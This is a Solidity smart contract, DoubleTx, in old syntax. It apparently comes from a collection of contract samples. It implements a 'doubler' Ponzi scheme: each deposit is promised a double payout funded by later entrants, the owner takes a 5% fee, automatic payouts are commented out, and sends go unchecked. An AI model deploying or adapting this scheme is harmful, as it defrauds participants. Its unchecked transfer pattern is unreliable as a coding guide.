ctr1.sol

contract DoubleTx{

    struct Participant {
        address etherAddress;
        uint PayAmount;

    }

    Participant[] public participants;

    uint public payoutIdx = 0;
    uint public collectedFees = 0;
    uint public balance = 0;

    address public owner;

    // simple single-sig function modifier
    modifier onlyowner { if (msg.sender == owner) _ }

    // this function is executed at initialization and sets the owner of the contract
    function DoubleTx() {
    collectedFees += msg.value;
        owner = msg.sender;
    }

    // fallback function - simple transactions trigger this
    function() {
        enter();
    }

    function enter() {
    //send more than 0.1 ether
    //if (msg.value >= 100 finney) {
          // collect fees and update contract balance
          collectedFees += msg.value / 20;
          balance += msg.value - msg.value / 20;
          // add a new participant to array and calculate need balance to payout
          uint idx = participants.length;
          participants.length += 1;
          participants[idx].etherAddress = msg.sender;
          participants[idx].PayAmount = 2 * (msg.value - msg.value / 20);
          uint NeedAmount = participants[payoutIdx].PayAmount;
      // if there are enough ether on the balance we can pay out to an earlier participant
      /*  if (balance >= NeedAmount) {
              participants[payoutIdx].etherAddress.send(NeedAmount);
              balance -= NeedAmount;
              payoutIdx += 1;
          }*/
    //}

    /*else {
      collectedFees += msg.value;
            return;

    }*/

    }



  function NextPayout() {

        balance += msg.value;

    uint NeedAmount = participants[payoutIdx].PayAmount;



      if (balance >= NeedAmount) {

            participants[payoutIdx].etherAddress.send(NeedAmount);



            balance -= NeedAmount;

            payoutIdx += 1;

        }

    }



    function collectFees() onlyowner {

    collectedFees += msg.value;

        if (collectedFees == 0) return;



        owner.send(collectedFees);

        collectedFees = 0;

    }



    function setOwner(address _owner) onlyowner {

    collectedFees += msg.value;

        owner = _owner;

    }

}